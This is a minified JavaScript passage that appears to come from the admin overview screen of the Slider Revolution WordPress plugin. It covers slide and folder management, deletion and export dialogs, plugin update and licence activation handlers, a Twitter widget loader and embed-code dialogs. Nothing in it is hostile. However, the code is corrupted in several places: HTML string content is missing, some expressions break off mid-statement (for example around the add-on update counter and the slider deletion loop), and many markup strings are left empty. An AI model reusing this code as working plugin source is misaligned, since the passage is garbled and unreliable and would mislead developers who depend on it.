0!==i&&"undefined"!==i&&RVS.S.OVslidesOldOrder.push(i)})},stop:function(i,r){RVS.S.OVslidesNeworder=[],e.find(".rs_library_element").each(function(e){var i=(""+this.dataset.slideid).replace("slide_id_","");if(slide=sliderLibrary.slides[this.dataset.sliderid][i],slide.order=e+1,slide.ref.find(".slide_order_number").html("#"+(e+1)),RVS.S.OVslidesNeworder.push(i),0===e){var r=RVS.F.getOVSliderIndex(this.dataset.sliderid);sliderLibrary.sliders[r].bg.type=void 0===slide.bg?slide.customAdminThumbSrc.type:slide.bg.type,sliderLibrary.sliders[r].bg.src=void 0===slide.bg?slide.customAdminThumbSrc.src:slide.bg.src,sliderLibrary.sliders[r].bg.style=void 0===slide.bg?slide.customAdminThumbSrc.style:slide.bg.style,RVS.F.setObjBg(sliderLibrary.sliders[r],sliderLibrary.sliders[r].ref.find(".image_container"))}}),RVS.S.OVslidesOldOrder.toString()!==RVS.S.OVslidesNeworder.toString()&&RVS.F.ajaxRequest("update_slide_order",{slide_ids:RVS.S.OVslidesNeworder},function(e){})}})},initTwitter=function(e){var i,r=document.getElementsByTagName("script")[0];return(i=RVS.F.cE({t:"script"})).id=e,i.src="https://platform.twitter.com/widgets.js",r.parentNode.insertBefore(i,r),window.waitForTwitter=setInterval(function(){if(jQuery("#twitter_wrapper iframe").contents().find(".timeline-Widget").length>0){var e=jQuery("#twitter_wrapper iframe").contents();e.find(".timeline-Widget").css({backgroundColor:"transparent"}),e.find(".timeline-Body").css({borderColor:"#323438"}),e.find(".timeline-Tweet-text").css({fontSize:"14px",lineHeight:"22px"}),e.find(".timeline-Header").hide(),e.find(".timeline-TweetList-tweet").css({borderColor:"#323438",paddingTop:"20px"}),e.find(".timeline-Tweet--isRetweet").closest("li").remove(),e.find(".timeline-LoadMore").remove(),e.find(".TwitterCard-container").css({borderColor:"#323438"}),clearInterval(window.waitForTwitter)}},100),{}},updateSysChecks=function(){for(var e in window.rs_system)if(window.rs_system.hasOwnProperty(e)){var i=window.rs_system[e];"object"==typeof i&&1==i.good||!0===i||"1"===i?jQuery("#syscheck_"+e).removeClass("warning"):jQuery("#syscheck_"+e).addClass("warning")}},checkAddOnVersions=function(){if("true"===RVS.ENV.activated||!0===RVS.ENV.activated){var e="";for(var i in RVS.ENV.addOns_to_update=void 0===RVS.ENV.addOns_to_update?{}:RVS.ENV.addOns_to_update,RVS.ENV.addOns_to_updateArray=[],window.addOnUpdateCounter=0,RVS.ENV.addOns_to_update)RVS.ENV.addOns_to_updateArray.push(i),e+='
    '+RVS.ENV.addOns_to_update[i].title+" "+RVS_LANG.from+" "+RVS.ENV.addOns_to_update[i].old+" "+RVS_LANG.to+" "+RVS.ENV.addOns_to_update[i].new+'
    ';""!==e&&RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"extension",title:RVS_LANG.addonsupdatetitle,maintext:RVS_LANG.addonsupdatemain,subtext:e,do:{icon:"check_circle",text:RVS_LANG.updateallnow,event:"updateAddonsNow",keepDialog:!0},cancel:{icon:"cancel",text:RVS_LANG.updatelater},swapbuttons:!0})}},updateNextRequiredAddon=function(){if(window.addOnUpdateCounterdone'+RVS_LANG.updatedoneexist,NaN).show().off("click").on("click",function(){RVS.F.RSDialog.close(),RVS.F.RSDialog.close()})},initLocalListeners=function(){RVS.WIN.on("resize",function(){clearTimeout(window.resizedOverviewTimeOut),window.resizedOverviewTimeOut=setTimeout(function(){var e=Math.floor((sliderLibrary.output.width()+30)/290);e=e<1?1:e,sliderLibrary.maxAmountPerPage!==e&&updateOVFilteredList({force:!0,keeppage:!0,noanimation:!0})},10)}),RVS.DOC.on("updateAddonsNow",function(){updateNextRequiredAddon(),jQuery("#decmod_dont_btn").hide(),jQuery("#decmod_do_btn").hide()}),RVS.DOC.on("click",".rs_lib_premium_red_hover",function(){RVS.F.scrollToOvRegister()}),RVS.DOC.on("updateThePlugin",function(){wp.updates.maybeRequestFilesystemCredentials(),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.updatingplugin});var e={plugin:RVS.ENV.slug_path,slug:RVS.ENV.slug,checkforupdates:!0,success:function(e){RVS.F.showWaitAMinute({fadeOut:0}),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:"",subtext:RVS_LANG.updatepluginsuccesssubtext+" "+e.newVersion+"",do:{icon:"check_circle",text:RVS_LANG.reloadpage,event:"reloadpagenow"}})},error:function(e){RVS.F.showWaitAMinute({fadeOut:0});var i="
    ";for(var r in e.debug)i+="- "+e.debug[r]+"";i+=""+RVS_LANG.tryagainlater+"",RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updatepluginfailed,maintext:RVS_LANG.updatepluginfailure,subtext:(void 0!==e&&void 0!==e.errorMessage&&e.errorMessage.indexOf("PCLZIP_ERR_BAD_FORMAT")>=0?RVS_LANG.licenseissue:e.errorMessage)+"
    "+i,do:{icon:"error",text:RVS_LANG.leave,event:""}})}};wp.updates.ajax("update-plugin",e)}),RVS.DOC.on("click","#updateplugin, #updateplugin_sc",function(){if(!(!0!==RVS.ENV.allow_update&&RVS.F.compareVersion(RVS.ENV.latest_version,RVS.ENV.revision)<=0))if(this.className.indexOf("halfdisabled")>=0){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[2].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()}else RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"update",title:RVS_LANG.updateplugin,maintext:RVS_LANG.areyousureupdateplugin,subtext:RVS_LANG.updatingtakes,do:{icon:"check_circle",text:RVS_LANG.updatenow,event:"updateThePlugin"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}),RVS.F.clearSlidesOverview=function(e){if(void 0!==sliderLibrary.slides[e]){for(var i in sliderLibrary.slides[e])sliderLibrary.slides[e].hasOwnProperty(i)&&sliderLibrary.slides[e][i].ref.remove();sliderLibrary.slides[e]=void 0}},RVS.F.buildSlidesOverview=function(e){sliderLibrary.selectedSlider=e,d({keepOverlay:!1});jQuery(".overview_elements");sliderLibrary.slides=void 0===sliderLibrary.slides?{}:sliderLibrary.slides,sliderLibrary.inSlideMode=!0,void 0===sliderLibrary.slides[sliderLibrary.selectedSlider]?(sliderLibrary.slides[sliderLibrary.selectedSlider]={},RVS.F.ajaxRequest("get_slides_by_slider_id",{id:e},function(e){if(e.success){for(var i in e.slides)e.slides.hasOwnProperty(i)&&(sliderLibrary.slides[sliderLibrary.selectedSlider][e.slides[i].id]=jQuery.extend(!0,{},e.slides[i]));t(),drawOVOverview()}})):(t(),drawOVOverview())},RVS.DOC.on("click",".link_to_slides_overview",function(){RVS.F.buildSlidesOverview(this.dataset.id)}),RVS.DOC.on("reloadpagenow",function(){tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.reLoading}),window.location.reload()}),RVS.DOC.on("click",".link_to_slideadmin_a",function(){"A"==this.tagName&&void 0!==this.href&&(tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.editorisLoading+""+RVS_LANG.opening+" "+this.dataset.title+""}))}),RVS.DOC.on("click",".link_to_quickeditor",function(){var e=jQuery(this).closest(".rs_library_element");RVS.F.openQuickContent({sliderid:e[0].dataset.sliderid})}),RVS.DOC.on("mouseenter",".link_to_slideadmin, .link_to_slides_overview",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rs_library_el_next");e.find(".title_container")[0]!==document.activeElement&&(i.show(),i.html(this.dataset.info))}),RVS.DOC.on("mousemove",".link_to_quickeditor, .link_to_quickstyleeditor, .link_to_slideadmin_a",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rs_library_el_next");e.find(".title_container")[0]!==document.activeElement&&(i.show(),i.html(this.dataset.info))}),RVS.DOC.on("mouseleave",".link_to_slideadmin, .link_to_slides_overview",function(){var e=jQuery(this);e.closest(".rs_library_element").find(".rs_library_el_next").hide(),clearTimeout(e.data("tlcount")),void 0!==e.data("tl")&&e.data("tlcount",setTimeout(function(){e.data("tl").reverse()},200))}),RVS.DOC.on("click","#back_one_folder",function(){if(sliderLibrary.inSlideMode)sliderLibrary.inSlideMode=!1,sliderLibrary.output.find(".overview_elements").find(".rs_library_element").detach();else{var e=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);sliderLibrary.selectedFolder=sliderLibrary.sliders[e].parent||-1}resetAllOVFilters(),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1})}),RVS.DOC.on("click",".rsl_breadcrumb",function(){sliderLibrary.inSlideMode&&(sliderLibrary.inSlideMode=!1,sliderLibrary.output.find(".overview_elements").find(".rs_library_element").detach()),sliderLibrary.selectedFolder=parseInt(this.dataset.folderid,0),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1})}),RVS.DOC.on("click","#slider_folders_wrap_underlay",function(){window.showFolderOverview.reverse()}),RVS.DOC.on("click","#add_folder",function(e,i){RVS.F.createNewFolder(i)}),RVS.DOC.on("click","#rs_db_force_create",function(e,i){RVS.F.ajaxRequest("fix_database_issues",{},function(e){},!1)}),RVS.DOC.on("click","#rs_force_clear_cache",function(e,i){RVS.F.ajaxRequest("clear_internal_cache",{},function(e){},!1)}),RVS.DOC.on("click","#rs_trigger_font_deletion",function(e,i){RVS.F.ajaxRequest("trigger_font_deletion",{},function(e){},!1)}),RVS.DOC.on("click","#reset_sorting",function(){jQuery("#sel_overview_sorting").val("datedesc").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"datedesc",eventparam:"#reset_sorting",ignoreCookie:!0})}),RVS.DOC.on("click","#reset_filtering",function(){jQuery("#sel_overview_filtering").val("all").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"all",eventparam:"#reset_filtering",ignoreCookie:!0})}),RVS.DOC.on("updateSlidersOverview",function(e,i){if(void 0!==i&&void 0!==i.eventparam){var r="#reset_sorting"===i.eventparam?"datedesc"===i.val?0:1:"all"===i.val?0:1,t=1===r?"inline-block":"none";tpGS.gsap.set(i.eventparam,{autoAlpha:r,display:t})}void 0===i||i.ignoreRebuild||(void 0!==i.val&&!0!==i.ignoreCookie&&RVS.F.setCookie("rs6_overview_pagination",i.val,360),d({keepOverlay:!1}),updateOVFilteredList({force:!0,keeppage:!1,noanimation:!1}))}),RVS.DOC.on("click",".global_library_pagination",function(){d({keepOverlay:!1}),jQuery(".global_library_pagination.selected").removeClass("selected"),jQuery(this).addClass("selected"),sliderLibrary.selectedPage=-9999===parseInt(this.dataset.page,0)?sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0)-3:9999===parseInt(this.dataset.page,0)?sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0)+3:this.dataset.page,smartPagination(),drawOVOverview()}),RVS.DOC.on("keyup","#searchmodules",function(){d({keepOverlay:!1}),clearTimeout(window.searchKeyUp),window.searchKeyUp=setTimeout(function(){updateOVFilteredList()},200)}),RVS.DOC.on("ddTP:select ddTP:unselect",".elementtags",function(e){var i=RVS.F.getOVSliderIndex(e.target.dataset.id);for(var r in sliderLibrary.sliders[i].tags=[],e.target.options)e.target.options.hasOwnProperty(r)&&void 0!==e.target.options[r]&&e.target.options[r].selected&&sliderLibrary.sliders[i].tags.push(RVS.F.sanitize_input(e.target.options[r].value.toLowerCase()));RVS.F.ajaxRequest("update_slider_tags",{id:sliderLibrary.sliders[i].id,tags:sliderLibrary.sliders[i].tags},function(e){},!1),sliderLibrary.filters=buildModuleFilters(),jQuery(".elementtags").each(function(){var e=jQuery(this);this.dataset.id;for(var i in e.find("option").remove(),sliderLibrary.filters.tags)if(sliderLibrary.filters.tags.hasOwnProperty(i)){var r=RVS.F.sanitize_input(sliderLibrary.filters.tags[i].toLowerCase()),t=RVS.F.getOVSliderIndex(this.dataset.id),s=jQuery.inArray(r,sliderLibrary.sliders[t].tags)>=0?' selected="selected" ':"";e.append('")}e.ddTP("update")})}),RVS.DOC.on("keyup",".title_container",function(e){13===e.keyCode&&(jQuery(document.activeElement).blur(),d({keepOverlay:!1}))}),RVS.DOC.on("click",".show_rsle, .rsle_folder",function(){var e=jQuery(this).closest(".rs_library_element"),i=e.find(".rsle_tbar"),r=e.hasClass("selected"),t=e.attr("id"),s=e[0].dataset.sliderid,a=(""+e[0].dataset.slideid).replace("slide_id_","");r?(d({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)):(d({keepOverlay:!0,id:t}),clearTimeout(window.unsetFocusOverviewOverlay),e.addClass("selected").addClass("menuopen"),tpGS.gsap.fromTo(i,.3,{y:"-100%"},{opacity:1,y:"0%",ease:"power3.out"}),jQuery(".overview_elements").addClass("infocus"),window.lastBreacCrumbText=sliderLibrary.inSlideMode?sliderLibrary.slides[s][a].title:sliderLibrary.sliders[RVS.F.getOVSliderIndex(s)].title,jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText))}),RVS.DOC.on("mouseenter",".rs_library_element",function(){sliderLibrary.inSlideMode?jQuery("#rsl_bread_selected").html(sliderLibrary.slides[this.dataset.sliderid][(""+this.dataset.slideid).replace("slide_id_","")].title):-1!=this.dataset.sliderid&&jQuery("#rsl_bread_selected").html(sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.sliderid)].title)}),RVS.DOC.on("mouseleave",".rs_library_element",function(){window.lastBreacCrumbText=void 0===window.lastBreacCrumbText?"":window.lastBreacCrumbText,jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click",".overview_elements_overlay",function(){d({keepOverlay:!1})}),RVS.DOC.on("click",".tagsslider",function(){var e=jQuery(this).closest(".rs_library_element");e.toggleClass("in_tag_view"),e.removeClass("in_folder_view")}),RVS.DOC.on("click",".renameslider",function(){jQuery(this).closest(".rs_library_element").find(".title_container").trigger("focus")}),RVS.DOC.on("click",".unpublishslide",function(){var e=jQuery(this).closest(".rs_library_element"),i=this.dataset.id,r=this.dataset.slideid;sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("save_slide_advanced",{slide_id:r,params:{publish:{state:"unpublished"}},slider_id:i},function(i){i.success&&e.addClass("unpublished")})}),RVS.DOC.on("click",".duplicateslide",function(){jQuery(this).closest(".rs_library_element");var e=this.dataset.id,i=this.dataset.slideid;sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("duplicate_slide",{slide_id:i,slider_id:e},function(i){i.success&&(RVS.F.clearSlidesOverview(e),RVS.F.buildSlidesOverview(e))})}),RVS.DOC.on("click",".publishslide",function(){var e=jQuery(this).closest(".rs_library_element");sliderId=this.dataset.id,slideId=this.dataset.slideid,sliderLibrary.inSlideMode&&RVS.F.ajaxRequest("save_slide_advanced",{slide_id:slideId,params:{publish:{state:"published"}},slider_id:sliderId},function(i){i.success&&e.removeClass("unpublished")})}),RVS.DOC.on("click",".adminthumb",function(){jQuery(this).closest(".rs_library_element");var e=RVS.F.getOVSliderIndex(this.dataset.id),i=this.dataset.id,r=this.dataset.slideid;RVS.F.openAddImageDialog(RVS_LANG.choose_image,function(t,s){RVS.F.ajaxRequest("save_slide_advanced",{slide_id:r,params:{thumb:{customAdminThumbSrc:t,customAdminThumbSrcId:s}},slider_id:i},function(s){d({keepOverlay:!1}),s.success&&(sliderLibrary.sliders[e].bg.type="image",sliderLibrary.sliders[e].bg.src=t,RVS.F.setObjBg(sliderLibrary.sliders[e],sliderLibrary.sliders[e].ref.find(".image_container")),void 0!==sliderLibrary.slides&&void 0!==sliderLibrary.slides[i]&&void 0!==sliderLibrary.slides[i][r]&&(sliderLibrary.slides[i][r].bg={type:"image",src:t},RVS.F.setObjBg(sliderLibrary.slides[i][r],sliderLibrary.slides[i][r].ref.find(".image_container"))))})},!1)}),RVS.DOC.on("change",".title_container",function(){var e=this,i=RVS.F.getOVSliderIndex(this.dataset.id),r=this.dataset.id,t=this.dataset.slideid,s=this.value;sliderLibrary.inSlideMode?RVS.F.ajaxRequest("save_slide_advanced",{slide_id:t,params:{title:this.value},slider_id:r},function(i){i.success&&(e.value=s),sliderLibrary.slides[r][t].title=s}):RVS.F.ajaxRequest("update_slider_name",{id:this.dataset.id,title:this.value},function(r){r.success&&(e.value=r.title),sliderLibrary.sliders[i].title=r.title})}),RVS.DOC.on("click",".optimizeslider",function(){RVS.F.openOptimizer({sliderid:this.dataset.id})}),RVS.DOC.on("click",".deleteslider",function(){if(sliderLibrary.inSlideMode){window.deleteSlide=this.dataset.slideid,window.deleteSlide_sliderId=this.dataset.id,d({keepOverlay:!1});var e=0;for(var i in sliderLibrary.slides[sliderLibrary.selectedSlider])sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(i)&&e++;e<2?RVS.F.showInfo({content:RVS_LANG.lastslidenodelete,type:"error",showdelay:0,hidedelay:2,hideon:"",event:""}):RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslide,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodelete+""+sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide].title+" ?",do:{icon:"delete",text:RVS_LANG.yesdeleteslide,event:"deletemarkedslide"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}else{var r=RVS.F.getOVSliderIndex(this.dataset.id);d({keepOverlay:!1}),window.deleteSlidersIndex=0,sliderLibrary.sliders[r].folder?(window.deleteSliders=function e(i,r){i=void 0===i?[]:i;var t=sliderLibrary.sliders[r];for(var s in t.children)if(t.children.hasOwnProperty(s)){var a=RVS.F.getOVSliderIndex(t.children[s]);sliderLibrary.sliders[a]&&sliderLibrary.sliders[a].folder&&(i=e(i,a)),sliderLibrary.sliders[a]&&i.push(t.children[s])}return i}([],r),window.deleteSliders.push(this.dataset.id),RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslider,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodeleteeverything+" "+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].title+" ?",do:{icon:"delete",text:RVS_LANG.yesdeleteall,event:"deletemarkedslider"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})):(window.deleteSliders=[this.dataset.id],RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deleteslider,maintext:RVS_LANG.cannotbeundone,subtext:RVS_LANG.areyousuretodelete+" "+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].title+" ?",do:{icon:"delete",text:RVS_LANG.yesdelete,event:"deletemarkedslider"},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}))}}),RVS.DOC.on("deletemarkedslide",function(){RVS.F.ajaxRequest("delete_slide",{slide_id:window.deleteSlide,slider_id:window.deleteSlide_sliderId},function(e){e.success&&void 0!==sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide]&&(RVS.F.clearSlidesOverview(window.deleteSlide_sliderId),RVS.F.buildSlidesOverview(window.deleteSlide_sliderId))},void 0,void 0,RVS_LANG.deletingsingleslide+""+sliderLibrary.slides[sliderLibrary.selectedSlider][window.deleteSlide].title+"")}),RVS.DOC.on("deletemarkedslider",function(){window.deletedSliderSINDEX=RVS.F.getOVSliderIndex(window.deleteSliders[window.deleteSlidersIndex]),window.mayDeleteFolder=sliderLibrary.sliders[window.deletedSliderSINDEX],RVS.F.ajaxRequest("delete_slider",{id:window.deleteSliders[window.deleteSlidersIndex]},function(e){if(e.success){if(void 0!==window.mayDeleteFolder&&-1!=window.mayDeleteFolder.parent){var i=RVS.F.getOVSliderIndex(window.mayDeleteFolder.parent);sliderLibrary.sliders[i]?sliderLibrary.sliders[i].children.splice(jQuery.inArray(window.mayDeleteFolder.id,sliderLibrary.sliders[i].children),1):console.log("Info:Folder with Index "+i+" is not existing any more.")}sliderLibrary.sliders[window.deletedSliderSINDEX]&&sliderLibrary.sliders[window.deletedSliderSINDEX].ref&&sliderLibrary.sliders[window.deletedSliderSINDEX].ref.remove(),jQuery("#slide_id_"+window.deleteSliders[window.deleteSlidersIndex]).remove(),sliderLibrary.sliders.splice(window.deletedSliderSINDEX,1)}window.deleteSlidersIndex++,window.deleteSlidersIndex"+(sliderLibrary.sliders[window.deletedSliderSINDEX]?sliderLibrary.sliders[window.deletedSliderSINDEX].alias:window.deletedSliderSINDEX)+"
    ")}),RVS.DOC.on("click",".exportslider, .exporthtmlslider",function(){var e=this.className.indexOf("exportslider")>=0?"export_slider":"export_slider_html";window.exportSliders=[this.dataset.id],window.exportSlidersIndex=0,RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"cloud_download",title:RVS_LANG.exportslider+("export_slider_html"===e?" "+RVS_LANG.ashtmlexport:""),maintext:RVS_LANG.exportslidertxt,subtext:RVS_LANG.areyousuretoexport+sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)].alias,do:{icon:"cloud_download",text:RVS_LANG.yesexport,event:"exportmarkedslider",eventparam:e},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0})}),RVS.DOC.on("exportmarkedslider",function(e,i){d({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText),location.href=ajaxurl+(-1===ajaxurl.indexOf("?")?"?":"&")+"action="+RVS.ENV.ajax_pre+"_ajax_action&client_action="+i+"&nonce="+RVS.ENV.nonce+"&id="+window.exportSliders[window.exportSlidersIndex]}),RVS.DOC.on("click","#collapse-button",a),RVS.DOC.on("click","#rbm_globalsettings .rbm_close",function(){RVS.F.RSDialog.close()}),RVS.DOC.on("click",".rso_scrollmenuitem",function(){if("globalsettings"!==this.id){if("rso_menu_notices"!==this.id&&"rso_menu_updatewarning"!==this.id){if("contactsupport"===this.id)return"true"!==RVS.ENV.activated&&!0!==RVS.ENV.activated?void RVS.F.showRegisterSliderInfo():void window.open("https://support.sliderrevolution.com/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=support","_blank");if("linktodocumentation"!==this.id)if("buynow_notregistered"!==this.id){s();var e={val:window.scroll_top};tpGS.gsap.to(e,.6,{val:window.ov_scroll_targets[this.dataset.ostref].top-200,onUpdate:function(){RVS.WIN.scrollTop(e.val)},ease:"power3.out"}),s()}else window.open("https://account.sliderrevolution.com/portal/pricing/","_blank");else window.open("https://www.sliderrevolution.com/help-center/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=faq","_blank")}}else openGlobalSettings()}),RVS.WIN.on("resize",a).on("scroll",s),RVS.DOC.on("click",".enter_into_folder",function(){sliderLibrary.selectedFolder=this.dataset.folderid,resetAllOVFilters(),updateOVFilteredList()}),RVS.DOC.on("click","#new_blank_slider",function(){tpGS.gsap.to(jQuery("#wpwrap"),.5,{opacity:0}),jQuery("#waitaminute").appendTo("body"),RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.editorisLoading+""+RVS_LANG.addingnewblankmodule+""}),RVS.F.ajaxRequest("create_slider",{},function(e){if(e.success){var i=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);if(-1!==i){sliderLibrary.sliders[i].children.push(e.slider_id);var r=e.slide_id;RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.selectedFolder,children:sliderLibrary.sliders[i].children},function(e){window.location.href=RVS.ENV.admin_url+"&view=slide&id="+r})}else window.location.href=RVS.ENV.admin_url+"&view=slide&id="+e.slide_id}})}),RVS.DOC.on("highContrast",function(e,i){void 0!==i&&void 0!==i.val&&(!0===i.val?jQuery(document.body).addClass("rs-high-contrast"):jQuery(document.body).removeClass("rs-high-contrast"))}),RVS.DOC.on("addNewSlider",function(e,i){if(void 0!==i&&void 0!==i.slider){if(i.slider.parent=sliderLibrary.selectedFolder,sliderLibrary.sliders.push(i.slider),-1!==sliderLibrary.selectedFolder){var r=RVS.F.getOVSliderIndex(sliderLibrary.selectedFolder);-1!==r&&(sliderLibrary.sliders[r].children.push(i.slider.id),i.ignoreAjaxFolderMove||RVS.F.ajaxRequest("save_slider_folder",{id:sliderLibrary.selectedFolder,children:sliderLibrary.sliders[r].children},function(e){},i.silent))}sliderLibrary.filters=buildModuleFilters(),resetAllOVFilters(),jQuery("#pagination_select_2").ddTP("change")}}),RVS.DOC.on("addDraftPage",function(e,i){RVS.F.ajaxRequest("create_draft_page",{slider_ids:i.pages,modals:i.modals,additions:i.additions},function(e){e.success&&(window.visitURLCreatedPage=e.open,setTimeout(function(){RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"fiber_new",title:RVS_LANG.blank_page_added,maintext:RVS_LANG.blank_page_created,subtext:void 0!==e.edit&&e.edit.length>0?RVS_LANG.edit_page+': '+e.edit+"":"",do:{icon:"exit_to_app",text:RVS_LANG.visit_page,event:"visitcreatedpage"},cancel:{icon:"cancel",text:RVS_LANG.closeandstay},swapbuttons:!0})},200))})}),RVS.DOC.on("visitcreatedpage",function(){window.open(window.visitURLCreatedPage,"_blank")}),RVS.DOC.on("click","#new_slider_import",function(){jQuery("#filedrop").remove(),RVS.F.browserDroppable.init({success:"addNewSlider"})}),RVS.DOC.on("click",".duplicateslider",function(){var e=RVS.F.getOVSliderIndex(this.dataset.id),i=-1==e?-1:sliderLibrary.sliders[e].parent,r=RVS.F.getOVSliderIndex(i);RVS.F.ajaxRequest("duplicate_slider",{id:this.dataset.id},function(e){e.success&&(e.slider.parent=i,sliderLibrary.sliders.push(e.slider),-1!==r&&(sliderLibrary.sliders[r].children.push(e.slider.id),RVS.F.ajaxRequest("save_slider_folder",{id:i,children:sliderLibrary.sliders[r].children},function(e){})),sliderLibrary.filters=buildModuleFilters(),resetAllOVFilters())})}),RVS.DOC.on("dragstart dragend",function(e){"dragstart"===e.type&&(RVS.S.dragginginside=!0),"dragend"===e.type&&(RVS.S.dragginginside=!1)}),jQuery("#rs_overview").on(" dragover dragenter ",function(e){RVS.S.dragginginside||0!==jQuery("#filedrop").length||RVS.F.browserDroppable.init({success:"addNewSlider"})}),RVS.DOC.on("click","#activateplugin",function(){if("true"==RVS.ENV.activated||1==RVS.ENV.activated)RVS.F.ajaxRequest("deactivate_plugin",{},function(e){e.success&&(RVS.ENV.activated=!1,RVS.ENV.code="",RVS.F.updateDraw(),RVS.F.isActivated(),RVS.F.notifications(),r("close"),RVS.F.showDeactivatedWarning(),RVS.F.activeNotActive())});else{var e=jQuery("#purchasekey").val();RVS.F.ajaxRequest("activate_plugin",{code:e},function(i){i.success&&(RVS.ENV.activated=!0,RVS.ENV.code=e,RVS.F.updateDraw(),RVS.F.isActivated(),RVS.F.notifications(),r("show"),RVS.F.activeNotActive())})}}),RVS.F.activeNotActive=function(){RVS.C.existing_sliders=void 0===RVS.C.existing_sliders?document.getElementById("existing_sliders"):RVS.C.existing_sliders,RVS.ENV.activated?RVS.C.existing_sliders.classList.remove("rs_n_ac_n"):RVS.C.existing_sliders.classList.add("rs_n_ac_n")},RVS.DOC.on("click","#check_for_updates",function(){RVS.F.ajaxRequest("check_for_updates",{},function(e){e.success&&(RVS.ENV.latest_version=e.version,jQuery(".available_latest_version").html(RVS.ENV.latest_version),RVS.F.updateDraw(),RVS.F.isActivated())})}),RVS.DOC.on("click",".previewslider",function(){var e=sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)];RVS.F.openPreivew({title:this.dataset.title,alias:e.alias,id:this.dataset.id}),d({keepOverlay:!1}),window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText)}),RVS.DOC.on("click","#signuptonewsletter",function(){var e=jQuery("#newsletter_mail").val();e.length>0&&e.indexOf("@")>=0&&RVS.F.ajaxRequest("subscribe_to_newsletter",{email:e},function(e){})}),RVS.DOC.on("click","#check_for_themepunchserver",function(){RVS.F.ajaxRequest("check_system",{},function(e){e.success&&(window.rs_system=jQuery.extend(!0,{},e.system),updateSysChecks())})}),RVS.DOC.on("click",".embedslider",function(){var e=sliderLibrary.sliders[RVS.F.getOVSliderIndex(this.dataset.id)],i='playlist_add';i+='
    '+RVS_LANG.embedingLine1+"
    ",i+='
    '+RVS_LANG.embedingLine2+"
    ",i+='
    ',i+="",i+='
    content_copy
    ',i+="
    ",i+='
    ',i+='
    '+RVS_LANG.embedingLine2a+"
    ",i+='
    ',i+="",i+='
    content_copy
    ',i+="
    ",i+='
    ',i+='
    '+RVS_LANG.embedingLine3+"
    ",i+='
    ',i+='
    '+RVS_LANG.embedingLine4+"
    ",i+='
    '+RVS_LANG.embedingLine5+"
    ",i+='
    ',i+='\">",i+='
    content_copy
    ',i+="
    ",i+='
    ',i+='
    '+RVS_LANG.embedingLine6+"
    ",i+='
    ',i+='\">",i+='
    content_copy
    ',i+="
    ",i+='
    ',i+='
    '+RVS_LANG.embedingLine7+"
    ",i+='
    ',i+='\">",i+='
    content_copy
    ',i+="
